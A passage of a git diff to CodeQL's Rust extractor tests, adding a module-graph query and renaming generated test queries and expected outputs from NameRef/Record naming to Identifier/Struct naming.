+#-----| use ...::create_dir
+
+#-----| use ...::create_dir as mkdir
+
+#-----| use ...::create_dir_all
+
+#-----| use ...::exists
+
+#-----| use ...::hard_link
+
+#-----| use ...::metadata
+
+#-----| use ...::read
+
+#-----| use ...::read_dir
+
+#-----| use ...::read_link
+
+#-----| use ...::read_to_string
+
+#-----| use ...::remove_dir
+
+#-----| use ...::remove_dir_all
+
+#-----| use ...::remove_file
+
+#-----| use ...::rename
+
+#-----| use ...::set_permissions
+
+#-----| use ...::soft_link
+
+#-----| use ...::symlink_metadata
+
+#-----| use ...::write
diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.ql b/rust/ql/test/extractor-tests/crate_graph/modules.ql
new file mode 100644
index 000000000000..42b0e5c0fcbb
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/modules.ql
@@ -0,0 +1,45 @@
+/**
+ * @id module-graph
+ * @name Module and Item Graph
+ * @kind graph
+ */
+
+import rust
+
+predicate nodes(Item i) { i instanceof RelevantNode }
+
+class RelevantNode extends Item {
+  RelevantNode() {
+    this.getParentNode*() =
+      any(Crate m | m.getName() = "test" and m.getVersion() = "0.0.1").getModule()
+  }
+}
+
+predicate edges(RelevantNode container, RelevantNode element) {
+  element = container.(Module).getItemList().getAnItem() or
+  element = container.(Impl).getAssocItemList().getAnAssocItem() or
+  element = container.(Trait).getAssocItemList().getAnAssocItem()
+}
+
+query predicate nodes(RelevantNode node, string attr, string val) {
+  nodes(node) and
+  (
+    attr = "semmle.label" and
+    val = node.toString()
+    or
+    attr = "semmle.order" and
+    val =
+      any(int i | node = rank[i](RelevantNode n | nodes(n) | n order by n.toString())).toString()
+  )
+}
+
+query predicate edges(RelevantNode pred, RelevantNode succ, string attr, string val) {
+  edges(pred, succ) and
+  (
+    attr = "semmle.label" and
+    val = ""
+    or
+    attr = "semmle.order" and
+    val = any(int i | succ = rank[i](Item s | edges(pred, s) | s order by s.toString())).toString()
+  )
+}
diff --git a/rust/ql/test/extractor-tests/crate_graph/options.yml b/rust/ql/test/extractor-tests/crate_graph/options.yml
new file mode 100644
index 000000000000..6c3602337be1
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/options.yml
@@ -0,0 +1,3 @@
+qltest_dependencies:
+    - md-5 = { version = "0.10.6" }
+    - md5_alt = { package = "md5", version = "0.7.0" }
diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list
index 26666f76a789..56cb7ed62e12 100644
--- a/rust/ql/test/extractor-tests/generated/.generated_tests.list
+++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list
@@ -38,7 +38,7 @@ FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c10
 FormatArgsExpr/gen_format_argument.rs 350d370e6f1db03d756384a3dbdb294697d241ff7c28d159cf57748abe99cfe9 350d370e6f1db03d756384a3dbdb294697d241ff7c28d159cf57748abe99cfe9
 Function/gen_function.rs ba6ecb9e0d89183295eb02f3c20ebbf5c209f89bd0172c73a3b4a6dacbf3a54c ba6ecb9e0d89183295eb02f3c20ebbf5c209f89bd0172c73a3b4a6dacbf3a54c
 GenericArgList/gen_generic_arg_list.rs cfb072d3b48f9dd568c23d4dfefba28766628678f66bbf9a436de9919ead35f5 cfb072d3b48f9dd568c23d4dfefba28766628678f66bbf9a436de9919ead35f5
-GenericParamList/gen_generic_param_list.rs 4cc9b628f53e1a6c5781ad195b8648fa6dee0bb41b24007fbd986527374d3669 4cc9b628f53e1a6c5781ad195b8648fa6dee0bb41b24007fbd986527374d3669
+GenericParamList/gen_generic_param_list.rs 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a
 IdentPat/gen_ident_pat.rs 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477
 IfExpr/gen_if_expr.rs 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8
 Impl/gen_impl.rs dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed
@@ -89,14 +89,6 @@ PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d740
 PtrTypeRepr/gen_ptr_type_repr.rs 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679
 RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0
 RangePat/gen_range_pat.rs 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28
-RecordExpr/gen_record_expr.rs f8a7db88ae9e2a47588d26a76331cba64014dc6d5e065af28adcd718c8c52727 f8a7db88ae9e2a47588d26a76331cba64014dc6d5e065af28adcd718c8c52727
-RecordExprField/gen_record_expr_field.rs ea34f9fc64a600a5fff6b3388a2f89990bc9381937f49e83ce5f8192a14a0e4f ea34f9fc64a600a5fff6b3388a2f89990bc9381937f49e83ce5f8192a14a0e4f
-RecordExprFieldList/gen_record_expr_field_list.rs e1cf6cdf9b8eaade99e8ad60c24d34c401d3789173fa31cb9aacf14fbd84e062 e1cf6cdf9b8eaade99e8ad60c24d34c401d3789173fa31cb9aacf14fbd84e062
-RecordField/gen_record_field.rs 6adab09450e655a004190d3f5485f9cb0f0bdc2d94206f727a3b323358c0cd72 6adab09450e655a004190d3f5485f9cb0f0bdc2d94206f727a3b323358c0cd72
-RecordFieldList/gen_record_field_list.rs 7799933ffee9cc21cb848866b0d6d6c2d290dbee32d6a5f441ee9ce708f0d95a 7799933ffee9cc21cb848866b0d6d6c2d290dbee32d6a5f441ee9ce708f0d95a
-RecordPat/gen_record_pat.rs a7e8aafb51532785459467e82d175a4cbab7ad5757cd00d74a0b1b673a5f21d9 a7e8aafb51532785459467e82d175a4cbab7ad5757cd00d74a0b1b673a5f21d9
-RecordPatField/gen_record_pat_field.rs f6c31bd08e6021aa4da6e8238561a77208f0ef723c5e217c6fbc16b8aec73a84 f6c31bd08e6021aa4da6e8238561a77208f0ef723c5e217c6fbc16b8aec73a84
-RecordPatFieldList/gen_record_pat_field_list.rs 35aa6ce694da1c822a593a9b1251e2a2c61365489edf2c0e9710251d8d02fe3f 35aa6ce694da1c822a593a9b1251e2a2c61365489edf2c0e9710251d8d02fe3f
 RefExpr/gen_ref_expr.rs 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6
 RefPat/gen_ref_pat.rs aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54
 RefTypeRepr/gen_ref_type_repr.rs 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea
@@ -112,6 +104,14 @@ SourceFile/gen_source_file.rs a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c3
 Static/gen_static.rs ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9
 StmtList/gen_stmt_list.rs bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad
 Struct/gen_struct.rs 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2
+StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb
+StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084
+StructExprFieldList/gen_struct_expr_field_list.rs 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de
+StructField/gen_struct_field.rs 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2
+StructFieldList/gen_struct_field_list.rs 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae
+StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c
+StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364
+StructPatFieldList/gen_struct_pat_field_list.rs 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693
 TokenTree/gen_token_tree.rs dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e
 Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea
 TraitAlias/gen_trait_alias.rs c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8
@@ -122,7 +122,7 @@ TupleFieldList/gen_tuple_field_list.rs d2a5151b413be3edbf093c4f47a8d57945e794d39
 TuplePat/gen_tuple_pat.rs b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148
 TupleStructPat/gen_tuple_struct_pat.rs 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98
 TupleTypeRepr/gen_tuple_type_repr.rs 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470
-TypeAlias/gen_type_alias.rs eee732f674d9f999fee1e1976c426ba07f23c63b58b3a53c2026a4b922c00c8f eee732f674d9f999fee1e1976c426ba07f23c63b58b3a53c2026a4b922c00c8f
+TypeAlias/gen_type_alias.rs da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143
 TypeArg/gen_type_arg.rs 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818
 TypeBound/gen_type_bound.rs 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1
 TypeBoundList/gen_type_bound_list.rs bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2
diff --git a/rust/ql/test/extractor-tests/generated/.gitattributes b/rust/ql/test/extractor-tests/generated/.gitattributes
index 229d34da5d38..133c01c05cd0 100644
--- a/rust/ql/test/extractor-tests/generated/.gitattributes
+++ b/rust/ql/test/extractor-tests/generated/.gitattributes
@@ -91,14 +91,6 @@
 /PtrTypeRepr/gen_ptr_type_repr.rs linguist-generated
 /RangeExpr/gen_range_expr.rs linguist-generated
 /RangePat/gen_range_pat.rs linguist-generated
-/RecordExpr/gen_record_expr.rs linguist-generated
-/RecordExprField/gen_record_expr_field.rs linguist-generated
-/RecordExprFieldList/gen_record_expr_field_list.rs linguist-generated
-/RecordField/gen_record_field.rs linguist-generated
-/RecordFieldList/gen_record_field_list.rs linguist-generated
-/RecordPat/gen_record_pat.rs linguist-generated
-/RecordPatField/gen_record_pat_field.rs linguist-generated
-/RecordPatFieldList/gen_record_pat_field_list.rs linguist-generated
 /RefExpr/gen_ref_expr.rs linguist-generated
 /RefPat/gen_ref_pat.rs linguist-generated
 /RefTypeRepr/gen_ref_type_repr.rs linguist-generated
@@ -114,6 +106,14 @@
 /Static/gen_static.rs linguist-generated
 /StmtList/gen_stmt_list.rs linguist-generated
 /Struct/gen_struct.rs linguist-generated
+/StructExpr/gen_struct_expr.rs linguist-generated
+/StructExprField/gen_struct_expr_field.rs linguist-generated
+/StructExprFieldList/gen_struct_expr_field_list.rs linguist-generated
+/StructField/gen_struct_field.rs linguist-generated
+/StructFieldList/gen_struct_field_list.rs linguist-generated
+/StructPat/gen_struct_pat.rs linguist-generated
+/StructPatField/gen_struct_pat_field.rs linguist-generated
+/StructPatFieldList/gen_struct_pat_field_list.rs linguist-generated
 /TokenTree/gen_token_tree.rs linguist-generated
 /Trait/gen_trait.rs linguist-generated
 /TraitAlias/gen_trait_alias.rs linguist-generated
diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected
deleted file mode 100644
index 07aec8f5fe0d..000000000000
--- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected
+++ /dev/null
@@ -1 +0,0 @@
-| gen_asm_expr.rs:6:9:6:24 | AsmExpr | gen_asm_expr.rs:6:23:6:23 | _ |
diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql
index f1161ef7094f..52095924f852 100644
--- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql
+++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql
@@ -3,7 +3,7 @@ import codeql.rust.elements
 import TestUtils
 
 from
-  AssocTypeArg x, string hasConstArg, string hasGenericArgList, string hasNameRef,
+  AssocTypeArg x, string hasConstArg, string hasGenericArgList, string hasIdentifier,
   string hasParamList, string hasRetType, string hasReturnTypeSyntax, string hasTypeRepr,
   string hasTypeBoundList
 where
@@ -11,12 +11,12 @@ where
   not x.isUnknown() and
   (if x.hasConstArg() then hasConstArg = "yes" else hasConstArg = "no") and
   (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and
-  (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and
+  (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and
   (if x.hasParamList() then hasParamList = "yes" else hasParamList = "no") and
   (if x.hasRetType() then hasRetType = "yes" else hasRetType = "no") and
   (if x.hasReturnTypeSyntax() then hasReturnTypeSyntax = "yes" else hasReturnTypeSyntax = "no") and
   (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and
   if x.hasTypeBoundList() then hasTypeBoundList = "yes" else hasTypeBoundList = "no"
-select x, "hasConstArg:", hasConstArg, "hasGenericArgList:", hasGenericArgList, "hasNameRef:",
-  hasNameRef, "hasParamList:", hasParamList, "hasRetType:", hasRetType, "hasReturnTypeSyntax:",
+select x, "hasConstArg:", hasConstArg, "hasGenericArgList:", hasGenericArgList, "hasIdentifier:",
+  hasIdentifier, "hasParamList:", hasParamList, "hasRetType:", hasRetType, "hasReturnTypeSyntax:",
   hasReturnTypeSyntax, "hasTypeRepr:", hasTypeRepr, "hasTypeBoundList:", hasTypeBoundList
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-078/Consistency.expected
rename to rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected
diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql
new file mode 100644
index 000000000000..ce4016622d42
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from AssocTypeArg x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql
deleted file mode 100644
index 8f393e344435..000000000000
--- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from AssocTypeArg x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected
deleted file mode 100644
index ecaaf15cebbc..000000000000
--- a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected
+++ /dev/null
@@ -1,4 +0,0 @@
-| gen_call_expr.rs:5:5:5:11 | foo(...) | gen_call_expr.rs:5:5:5:7 | foo |
-| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | gen_call_expr.rs:6:5:6:19 | foo::<...> |
-| gen_call_expr.rs:7:5:7:14 | ...(...) | gen_call_expr.rs:7:5:7:10 | foo[0] |
-| gen_call_expr.rs:8:5:8:10 | foo(...) | gen_call_expr.rs:8:5:8:7 | foo |
diff --git a/rust/ql/test/extractor-tests/generated/Crate/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/Crate/MISSING_SOURCE.txt
new file mode 100644
index 000000000000..7f96b17b1f3c
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/Crate/MISSING_SOURCE.txt
@@ -0,0 +1,4 @@
+// generated by codegen, do not edit
+
+After a source file is added in this directory and codegen is run again, test queries
+will appear and this file will be deleted
diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql
index 547a20808643..c8250d86b4b0 100644
--- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql
+++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql
@@ -4,7 +4,7 @@ import TestUtils
 
 from
   ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs,
-  string hasNameRef, string hasRename, string hasVisibility
+  string hasIdentifier, string hasRename, string hasVisibility
 where
   toBeTested(x) and
   not x.isUnknown() and
@@ -15,9 +15,9 @@ where
   ) and
   (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and
   getNumberOfAttrs = x.getNumberOfAttrs() and
-  (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and
+  (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and
   (if x.hasRename() then hasRename = "yes" else hasRename = "no") and
   if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no"
 select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin,
-  "getNumberOfAttrs:", getNumberOfAttrs, "hasNameRef:", hasNameRef, "hasRename:", hasRename,
+  "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", hasIdentifier, "hasRename:", hasRename,
   "hasVisibility:", hasVisibility
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/ConsistencyDomBasedXss.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/ConsistencyDomBasedXss.expected
rename to rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected
diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql
new file mode 100644
index 000000000000..1a8f5693f13c
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from ExternCrate x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql
deleted file mode 100644
index 3a9fcac37748..000000000000
--- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from ExternCrate x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected
index c25a0633e402..9bb0e244fd19 100644
--- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected
+++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.expected
@@ -1 +1 @@
-| gen_field_expr.rs:5:5:5:9 | x.foo | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes |
+| gen_field_expr.rs:5:5:5:9 | x.foo | getNumberOfAttrs: | 0 | hasContainer: | yes | hasIdentifier: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql
index 1de84ec34277..631e15698b66 100644
--- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql
+++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr.ql
@@ -2,11 +2,12 @@
 import codeql.rust.elements
 import TestUtils
 
-from FieldExpr x, int getNumberOfAttrs, string hasExpr, string hasNameRef
+from FieldExpr x, int getNumberOfAttrs, string hasContainer, string hasIdentifier
 where
   toBeTested(x) and
   not x.isUnknown() and
   getNumberOfAttrs = x.getNumberOfAttrs() and
-  (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and
-  if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no"
-select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasNameRef:", hasNameRef
+  (if x.hasContainer() then hasContainer = "yes" else hasContainer = "no") and
+  if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no"
+select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasContainer:", hasContainer, "hasIdentifier:",
+  hasIdentifier
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.expected
rename to rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.expected
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql
new file mode 100644
index 000000000000..b32e302ad913
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from FieldExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getContainer()
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql
deleted file mode 100644
index e307cf26da08..000000000000
--- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from FieldExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getExpr()
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.expected
rename to rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.expected
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql
new file mode 100644
index 000000000000..766fc85ab0fc
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from FieldExpr x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql
deleted file mode 100644
index f87d456f2c0b..000000000000
--- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from FieldExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected b/rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected
deleted file mode 100644
index dca240710f7d..000000000000
--- a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected
+++ /dev/null
@@ -1,5 +0,0 @@
-| gen_format_args_expr.rs:9:17:9:28 | FormatArgsExpr | 1 | gen_format_args_expr.rs:9:20:9:20 | x |
-| gen_format_args_expr.rs:9:17:9:28 | FormatArgsExpr | 3 | gen_format_args_expr.rs:9:25:9:25 | y |
-| gen_format_argument.rs:5:14:5:47 | FormatArgsExpr | 1 | gen_format_argument.rs:5:22:5:26 | value |
-| gen_format_argument.rs:5:14:5:47 | FormatArgsExpr | 1 | gen_format_argument.rs:5:29:5:33 | width |
-| gen_format_argument.rs:5:14:5:47 | FormatArgsExpr | 1 | gen_format_argument.rs:5:36:5:44 | precision |
diff --git a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected b/rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected
deleted file mode 100644
index 8bd957fa8df7..000000000000
--- a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected
+++ /dev/null
@@ -1,13 +0,0 @@
-| gen_format.rs:7:21:7:46 | {value:#width$.precision$} | 0 | gen_format.rs:7:22:7:26 | value |
-| gen_format.rs:7:21:7:46 | {value:#width$.precision$} | 1 | gen_format.rs:7:29:7:33 | width |
-| gen_format.rs:7:21:7:46 | {value:#width$.precision$} | 2 | gen_format.rs:7:36:7:44 | precision |
-| gen_format_args_expr.rs:7:19:7:21 | {b} | 0 | gen_format_args_expr.rs:7:20:7:20 | b |
-| gen_format_args_expr.rs:7:27:7:31 | {a:?} | 0 | gen_format_args_expr.rs:7:28:7:28 | a |
-| gen_format_args_expr.rs:9:19:9:21 | {x} | 0 | gen_format_args_expr.rs:9:20:9:20 | x |
-| gen_format_args_expr.rs:9:24:9:26 | {y} | 0 | gen_format_args_expr.rs:9:25:9:25 | y |
-| gen_format_argument.rs:5:21:5:46 | {value:#width$.precision$} | 0 | gen_format_argument.rs:5:22:5:26 | value |
-| gen_format_argument.rs:5:21:5:46 | {value:#width$.precision$} | 1 | gen_format_argument.rs:5:29:5:33 | width |
-| gen_format_argument.rs:5:21:5:46 | {value:#width$.precision$} | 2 | gen_format_argument.rs:5:36:5:44 | precision |
-| gen_format_argument.rs:7:21:7:30 | {0:#1$.2$} | 0 | gen_format_argument.rs:7:22:7:22 | 0 |
